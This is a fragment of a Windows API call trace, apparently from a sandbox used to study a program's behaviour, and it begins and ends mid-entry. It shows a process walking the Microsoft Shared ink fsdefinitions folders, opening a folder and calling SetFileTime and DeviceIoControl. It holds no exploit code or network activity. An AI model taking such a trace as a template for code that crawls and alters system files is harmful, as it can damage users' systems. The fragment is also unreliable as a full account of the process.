lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0233.714] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.721] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0233.721] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0233.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.724] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.725] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.727] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.727] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901aa8 [0233.727] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.728] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffcc8 [0233.732] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901bb0 [0233.732] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x340) returned 0x8ffe90 [0233.734] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9023e0) returned 1 [0233.734] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.734] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0233.735] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0233.735] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.735] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.735] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.736] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.736] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.736] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffce8 [0233.736] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901cb8 [0233.736] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.737] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0233.737] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0233.737] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.737] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.746] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.747] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.747] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.747] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffd08 [0233.747] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901dc0 [0233.747] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.748] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0233.748] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0233.748] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.752] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.752] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.752] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.752] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffd28 [0233.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901ec8 [0233.753] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.753] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0233.753] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0233.762] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.762] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.762] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.763] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffd48 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901fd0 [0233.763] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.763] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="")) returned 1 [0233.763] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.763] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.763] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffd68 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9020d8 [0233.763] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.763] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0233.763] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.763] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.763] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffd88 [0233.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9021e0 [0233.763] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.763] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0233.764] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0233.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.764] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.764] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffda8 [0233.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9023f8 [0233.764] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.764] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0233.764] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0233.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.764] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.764] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffdc8 [0233.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902500 [0233.764] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.764] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0233.764] GetLastError () returned 0x12 [0233.764] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0233.764] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0233.765] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.765] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0233.765] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0233.765] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0233.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0233.926] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0233.926] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9043e0 [0233.927] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9043e0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9043e0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0233.927] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9043e0) returned 1 [0233.927] NtClose (Handle=0x1b4) returned 0x0 [0233.934] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0233.934] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.934] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.934] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0233.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.956] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902710 [0233.956] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0233.956] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.957] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0233.957] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.957] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.957] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.957] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.957] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.957] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902818 [0233.957] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.957] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffde8 [0233.957] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902920 [0233.957] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.957] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0233.957] GetLastError () returned 0x12 [0233.957] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0233.957] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0233.957] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: 